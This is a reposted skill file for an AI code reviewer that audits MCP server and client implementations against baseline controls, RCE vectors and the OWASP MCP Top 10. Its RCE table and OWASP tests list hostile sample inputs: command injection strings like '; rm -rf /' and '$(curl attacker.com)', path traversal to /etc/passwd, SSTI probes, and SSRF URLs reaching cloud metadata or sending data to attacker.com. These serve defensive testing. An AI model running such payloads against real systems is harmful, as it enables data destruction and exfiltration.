MCP Implementation Security Review

MCP Implementation Security Review

Reviews MCP server and client source code against a security baseline and the OWASP MCP Top 10, reporting findings with file and line evidence.

Skill files1 file
SKILL.md316 lines
1
---
2
name: mcp-implementation-security-review
3
description: |
4
Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when:
5
- Reviewing an MCP server implementation for security before release
6
- Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10
7
- Auditing tools for RCE vectors (command/code injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF)
8
- Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server
9
- Reviewing MCP client code that handles untrusted server responses and session IDs
10
- Requests like "review this MCP server for security" or "is my MCP server implementation secure?"
11
---
12
13
# MCP Implementation Security Review
14
15
## Process
16
17
### Step 1 — Classify the target
18
- Check **MCP protocol version [2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26) or later** (current: [2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)). Flag older versions as a finding but continue the review.
19
- Determine whether the target is a **server** or **client**.
20
- Classify transport as **network-exposed** or **local-only** using the transport reference below.
21
- Record transport, protocol version, and whether sessions exist.
22
23
**Completion criterion:** Target type, protocol status, and transport are identified.
24
25
### Step 2 — Filter false positives
26
- Apply the **False Positive Filters** before opening findings.
27
- Keep docs only when they describe the repo's own server behavior, deployment, transport, or auth posture.
28
- For framework/SDK repositories, scope findings to the **default configuration** and **public API surface**.
29
30
**Completion criterion:** Remaining evidence is in-scope code, repo-owned docs, or public API behavior.
31
32
### Step 3 — Check baseline controls
33
- For **network-exposed servers**, check **MCP-01** through **MCP-05**.
34
- For **local/STDIO servers**, do not mark baseline controls PASS/FAIL; give best-practice notes and continue to RCE review.
35
- For **clients**, only review token/session handling explicitly visible in client code; do not apply the server baseline unless the user asks for client-side risk review.
36
37
**Completion criterion:** Each applicable control has a supported status.
38
39
### Step 4 — Check RCE vectors
40
- Review all 7 RCE vectors.
41
- Mark each vector **SAFE**, **AT RISK**, or **N/A**.
42
- Prefer direct evidence over inference; the RCE Vectors table below enumerates the patterns to look for.
43
44
**Completion criterion:** Every relevant tool has an RCE result or explicit N/A.
45
46
### Step 5 — Check OWASP MCP Top 10
47
- Evaluate all 10 OWASP risks below.
48
- If a control from Step 3 already fully covers an OWASP risk, reference that result rather than re-checking.
49
- For local/STDIO servers, mark network-dependent OWASP risks (MCP07, MCP09) as N/A.
50
- Mark each risk PASS, FAIL, or NEEDS INVESTIGATION.
51
52
**Completion criterion:** All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.
53
54
### Step 6 — Report
55
- Use the **Compliance Output Format** below.
56
- Include file/line references in every justification.
57
- Separate code findings from manual follow-ups.
58
- If evidence is incomplete, use **NEEDS INVESTIGATION** and name the missing artifact.
59
60
**Completion criterion:** The report includes controls, RCE, optional OWASP, and actions.
61
62
## Reference
63
64
### Decision rules
65
- **Network-exposed server:** Apply **all 5 controls**, then run RCE and requested OWASP checks.
66
- **Local/STDIO server:** Give **best-practice guidance only** for the 5 controls; still run RCE because tool input can execute locally.
67
- **Client:** Review received-token handling and refusal to trust server-provided session IDs; do not force server controls unless asked.
68
- **Reverse proxy or container exposure:** If traffic can reach the server over a network, treat it as **network-exposed** even if inner binding is localhost.
69
- **Unclear evidence:** Do not guess. Mark **NEEDS INVESTIGATION** and say what must be verified manually.
70
- **Ambiguous auth coverage:** Auth middleware exists but it is unclear whether it covers MCP endpoints → mark **NEEDS INVESTIGATION**.
71
- **Undeterminable transport:** If transport cannot be established from code, flag for manual review and do **not** assume STDIO — defaulting to STDIO would wrongly skip the server controls.
72
73
### Transport classification
74
75
**Network-exposed (enforce all controls):**
76
77
| Pattern | Transport |
78
|---|---|
79
| `transport="http"` or `transport="sse"` | HTTP/SSE |
80
| `StreamableHttpServerTransport` | HTTP (TS/JS) |
81
| `SSEServerTransport` | SSE (TS/JS) |
82
| `WithHttpTransport()` | HTTP (C#) |
83
| `host="0.0.0.0"` | All-interfaces binding |
84
| Express `.listen(port)` with MCP routes | HTTP (default `0.0.0.0`) |
85
| `EXPOSE` in Dockerfile + MCP server | Network-exposed |
86
87
**Local-only (best practices only):**
88
89
| Pattern | Transport |
90
|---|---|
91
| `StdioServerTransport` | STDIO (TS/JS) |
92
| `WithStdioServerTransport()` | STDIO (C#) |
93
| `transport="stdio"` | STDIO |
94
| `mcp.run()` with no args (Python FastMCP) | STDIO default |
95
| `.vscode/mcp.json` with `command` key and no URL | STDIO child process |
96
97
**Host binding gotchas:**
98
99
| Binding | Actual exposure |
100
|---|---|
101
| `host="0.0.0.0"` | 🔴 Network-exposed |
102
| `host="127.0.0.1"` or `localhost` | 🟢 Local-only |
103
| No explicit host (Express/Node) | 🔴 Defaults to `0.0.0.0` |
104
| No explicit host (Python FastMCP) | 🟡 Depends on transport — verify |
105
| Docker `ports: "8000:8000"` | 🔴 Network-exposed even if the process binds `127.0.0.1` inside the container |
106
107
### False Positive Filters
108
109
| FP pattern | How to detect |
110
|---|---|
111
| `.github/skills/` templates | Path contains `.github/skills/` — skill template, not server code |
112
| Vendored SDK / OSS copies | File defines `class FastMCP`, `class McpServer`, or path is in `node_modules/`, `vendor/` |
113
| MCP client configs | `.vscode/mcp.json` with `inputs`/`servers` but no server code |
114
| Documentation / tutorials | `.md`, `.rst` with code fences unrelated to the repo's own server |
115
| Outbound-only auth libraries | `DefaultAzureCredential`, service account JSON, or similar used only for outbound auth |
116
117
Docs describing the repo's **own** server behavior, transport, auth posture, or deployment are **not** false positives.
118
119
## Controls Reference
120
121
### MCP-01 — Identity isolation
122
**Scope:** Remote MCP servers
123
124
**Condition**
125
- Authenticate every inbound request with a trusted identity provider and enforce authorization at the server boundary; do not infer auth from session IDs, prior requests, or network location.
126
- Use a **unique server-specific application identity** and audience/resource identifier; outbound calls use independently scoped service credentials or on-behalf-of flow where required, never the inbound token.
127
- Unauthenticated discovery endpoints are allowed only for metadata-only OAuth/MCP bootstrapping: `/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`, `/.well-known/openid-configuration`.
128
129
**What to check**
130
- Token validation and authorization middleware run on every MCP route; authorization distinguishes tool invoke, read-only, and admin operations if present.
131
- Identity config shows a dedicated application/client/resource ID and audience; outbound clients acquire their own tokens and never copy inbound `Authorization`.
132
- Discovery endpoints return metadata only and cannot execute tools or expose protected data.
133
134
**Key pitfall:** Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.
135
136
### MCP-02 — Sessions
137
**Scope:** Remote MCP servers that support sessions
138
139
**Applicability**
140
- No session identifiers issued or used anywhere → mark **N/A** (per-request auth is still required; see MCP-01).
141
- Sessions managed by the transport/SDK (e.g., Streamable HTTP `Mcp-Session-Id`) but generation/binding not visible in source → mark **NEEDS INVESTIGATION**, not FAIL.
142
- Session identifiers present in code → score **PASS/FAIL** against the conditions below.
143
144
**Condition**
145
- Authenticate and authorize **every** request; session state never substitutes for token validation.
146
- Session IDs are opaque correlation/continuity tokens only; they do not grant privileges, encode authorization, or bypass auth.
147
- Session IDs are CSPRNG-generated, unpredictable, bound to an authenticated context, and never embedded in URLs.
148
149
**What to check**
150
- Middleware validates tokens per request, not only when a session starts.
151
- Authorization logic never trusts a session ID alone; loss or reuse of a session ID must not grant access.
152
- Session creation uses random IDs (GUID v4/CSPRNG acceptable; sequential or time-based IDs are not).
153
154
**Key pitfall:** Treating a session ID as a bearer credential turns a correlation token into authentication.
155
156
### MCP-03 — Rate limits
157
**Scope:** MCP servers and tools
158
159
**Condition**
160
- Enforce rate limits and abuse protection on tool discovery and tool invocation.
161
- Enforce limits **at the MCP server runtime**, not only at a gateway; partition by authenticated identity and by session where sessions exist.
162
- Apply stricter limits to mutation-capable and high-cost tools; when limits are exceeded, fail closed with **HTTP 429** and **Retry-After** and do not execute the tool.
163
164
**What to check**
165
- Rate-limit middleware or equivalent is present on discovery and invocation endpoints in server code, not just in ingress or proxy config.
166
- Limits are keyed by identity and session, with tighter budgets for write/high-cost operations.
167
- Exceeded requests stop before backend action and return 429 with Retry-After.
168
169
**Starting thresholds** (tune to actual load, downstream limits, and cost):
170
171
| Tool type | Per-identity | Per-session | Notes |
172
|---|---|---|---|
173
| Read-only / listing | 100/min | 200/min | Lower if downstream APIs are sensitive |
174
| Mutation / write | 10/min | 20/min | Stricter for state-changing ops |
175
| High-cost compute | 5/min | 10/min | Cost-weighted; watch cloud spend |
176
| Tool discovery | 30/min | 60/min | Prevents enumeration abuse |
177
178
**Key pitfall:** Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.
179
180
### MCP-04 — Schema validation
181
**Scope:** MCP servers exposing tools with structured arguments
182
183
**Condition**
184
- Validate **all** tool arguments against explicit schemas **before execution**.
185
- Schemas define types, required fields, enums, and bounds, and reject unspecified properties by default (`additionalProperties: false` or equivalent).
186
- Validation runs server-side on every invocation; invalid input fails closed with a 400/MCP error and no backend action.
187
188
**What to check**
189
- Each tool descriptor has a schema covering types, required fields, enums, bounds, and property restrictions.
190
- Validation occurs at the server boundary on every call, not only in clients, gateways, or downstream services.
191
- Negative tests reject malformed input, extra properties, and bounds violations.
192
193
**Key pitfall:** Allowing extra properties or client-only validation creates hidden attack surface and scope creep.
194
195
### MCP-05 — SDK-first
196
**Scope:** Remote MCP servers
197
198
**Condition**
199
- Build remote MCP servers on an **official MCP SDK** for your server's language:
200
- **Tier 1 (fully supported):** TypeScript (modelcontextprotocol/typescript-sdk), Python (modelcontextprotocol/python-sdk), C#/.NET (modelcontextprotocol/csharp-sdk), Go (modelcontextprotocol/go-sdk)
201
- **Tier 2/3 (developing):** Java (modelcontextprotocol/java-sdk), Kotlin (modelcontextprotocol/kotlin-sdk), Rust (modelcontextprotocol/rust-sdk), Swift (modelcontextprotocol/swift-sdk), PHP (modelcontextprotocol/php-sdk), Ruby (modelcontextprotocol/ruby-sdk)
202
- If not using an official SDK, mark MCP-05 as NEEDS INVESTIGATION.
203
- Keep the SDK current and patched, and verify which controls are automatic versus manual.
204
205
**What to check**
206
- Dependencies reference an official MCP SDK rather than a hand-rolled HTTP/SSE stack.
207
- If no SDK is used, the repo contains direct evidence for auth/authz, sessions, rate limits, and schema validation.
208
- Dependency pinning and update hygiene show the SDK is maintained.
209
210
**Key pitfall:** Hand-rolled servers often miss one "small" primitive—per-request auth, throttling, or validation—and the gaps compound.
211
212
## RCE Vectors
213
214
| Vector | Dangerous code | Safe alternative | Test payload | CWE |
215
|---|---|---|---|---|
216
| Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm -rf /`, `$(curl attacker.com)`, `| net user` must be rejected or treated literally | CWE-78 |
217
| Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist | `__import__('os').system('whoami')`, `require('child_process').exec('id')` must be rejected | CWE-94, CWE-95 |
218
| Unsafe deserialization | `pickle.loads(user_data)`, `yaml.load(input, Loader=yaml.UnsafeLoader)`, `BinaryFormatter.Deserialize(stream)` | `yaml.safe_load()`, `JSON.parse()` plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |
219
| Path traversal | `fs.readFile(args.path)` without validation, `open(user_path, 'w')` | Canonicalize and enforce an allowlisted base directory before read/write/execute | `../../../../etc/passwd`, `C:\Windows\System32\config\SAM`, `..\..\..\.env` must be rejected | CWE-22 |
220
| SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49` | CWE-1336 |
221
| Dependency hijacking | Unpinned deps such as `"lodash": "^4.0.0"`; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted/scoped registries, verify signatures where available | `npm audit`, `pip audit`, or `dotnet list package --vulnerable`; review for CVEs and suspicious packages | CWE-829 |
222
| SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending | `http://169.254.169.254/latest/meta-data/`, `http://localhost:8080/admin`, `http://attacker.com/?data=stolen` must be rejected | CWE-918 |
223
224
## OWASP MCP Top 10
225
226
**MCP01:2025 — Token Mismanagement & Secret Exposure**
227
Test: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived/rotated tokens.
228
Pass: No hardcoded secrets, sensitive fields redacted, short-lived/rotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.
229
230
**MCP02:2025 — Privilege Escalation via Scope Creep**
231
Test: Review scopes/roles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion.
232
Pass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.
233
234
**MCP03:2025 — Tool Poisoning**
235
Test: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions.
236
Pass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.
237
238
**MCP04:2025 — Supply Chain Attacks & Dependency Tampering**
239
Test: Check for lock files, exact pinning, suspicious `postinstall` scripts, dependency audit results, and trusted registries.
240
Pass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.
241
242
**MCP05:2025 — Command Injection & Execution**
243
Test: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test `; ls`, `$(whoami)`, `| cat /etc/passwd`.
244
Pass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, `shell=True` with formatted strings, or unsafe concatenation.
245
246
**MCP06:2025 — Prompt Injection via Contextual Payloads**
247
Test: Check whether tool output goes back to the LLM, whether external content is sanitized/truncated/sandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output.
248
Pass: Tool outputs are data, untrusted content is sanitized/truncated/sandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.
249
250
**MCP07:2025 — Insufficient Authentication & Authorization**
251
Test: Send requests without auth and with expired/invalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway.
252
Pass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.
253
254
**MCP08:2025 — Lack of Audit and Telemetry**
255
Test: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting.
256
Pass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.
257
258
**MCP09:2025 — Shadow MCP Servers**
259
Test: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev/staging isolation; verify an owner and review trail.
260
Pass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev/test exposure into production networks, or no ownership.
261
262
**MCP10:2025 — Context Injection & Over-Sharing**
263
Test: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation.
264
Pass: Minimal data is returned, sensitive fields are masked/excluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.
265
266
## Compliance Output Format
267
268
In every summary table below, the **Justification** cell must cite specific file/line evidence for the status.
269
270
### Control summary
271
272
| Control | Name | Status | Justification |
273
|---|---|---|---|
274
| MCP-01 | Auth & Identity isolation | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A | … |
275
| MCP-02 | Secure Session Management | … | … |
276
| MCP-03 | Rate limiting & abuse protection | … | … |
277
| MCP-04 | Input schema validation | … | … |
278
| MCP-05 | Production SDK usage | … | … |
279
280
Use **PASS** only when the code clearly satisfies the control. Use **FAIL** when the violation is observable. Use **NEEDS INVESTIGATION** when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.
281
282
### RCE summary
283
284
| Vector | Status | Justification |
285
|---|---|---|
286
| Command injection | SAFE / AT RISK / N/A | … |
287
| Dynamic code evaluation | … | … |
288
| Unsafe deserialization | … | … |
289
| Path traversal | … | … |
290
| SSTI | … | … |
291
| Dependency hijacking | … | … |
292
| SSRF | … | … |
293
294
### OWASP summary
295
296
| Risk | Status | Justification |
297
|---|---|---|
298
| MCP01:2025 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION | … |
299
| MCP02:2025 | … | … |
300
| MCP03:2025 | … | … |
301
| MCP04:2025 | … | … |
302
| MCP05:2025 | … | … |
303
| MCP06:2025 | … | … |
304
| MCP07:2025 | … | … |
305
| MCP08:2025 | … | … |
306
| MCP09:2025 | … | … |
307
| MCP10:2025 | … | … |
308
309
### Manual follow-ups
310
List every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.
311
312
## Exception process
313
- **Document the gap:** Identify the unmet control, the exact deviation, residual risk, and any compensating controls.
314
- **Get explicit approval:** Route the exception through security/release approval with an owner and an expiration or review date.
315
- **Track and re-evaluate:** Record the approved exception with compliance results and revisit it on expiry or whenever the server, tools, traffic profile, or exposure changes.
316

© GitHub, Inc. · MIT · source · posted by @OpenSourceBuffGuy on promptparty.com

@OpenSourceBuffGuy

I find openly licensed prompts and post them here.

0 followers · 14,621 prompts

More by @OpenSourceBuffGuy

See all
Sea turtle carrying floating film studio island prompt image

Sea turtle carrying floating film studio island

Draws a giant sea turtle carrying a floating island film studio through a starry sky, where fairies polish rough film strips into golden film.

image-prompt, nano-banana, 3d-render, cartoon, fantasy-world, creatures, animals, whimsical, dreamy, cinematic, dramatic-lighting, vibrant-colors, bokeh, miniature, widescreen, night-scene, illustration, concept-art, surreal, storytelling, clay-3d

Desert buggy escapes drones past industrial outpost prompt image

Desert buggy escapes drones past industrial outpost

Builds a 15-second desert chase video where a racer in an armored buggy escapes drones past an industrial outpost, using five reference images with set jobs.

video-prompt, hailuo, action, multi-shot, timed-beats, camera-movement, reference-image, character-consistency, negative-prompt, cinematic, sci-fi, cars, landscape, aerial-view, tracking-shot, photorealistic, sound-effects, structured-output, long-form, widescreen

1 view
Cozy Pixel Art Farm Island Village prompt image

Cozy Pixel Art Farm Island Village

Draws a cozy 16-bit pixel-art farming village across six small islands joined by bridges, with exact counts for buildings, animals and crops.

image-prompt, gpt-image, pixel-art, isometric, game-assets, concept-art, maps, worldbuilding, cozy, vibrant-colors, ocean, landscape, wide-shot, widescreen, game-development, video-games, structured-output, whimsical, summer, high-angle, aerial-view, animals, negative-prompt, cityscape

1 view

Reviews

Loading reviews…

Discussion

Loading comments…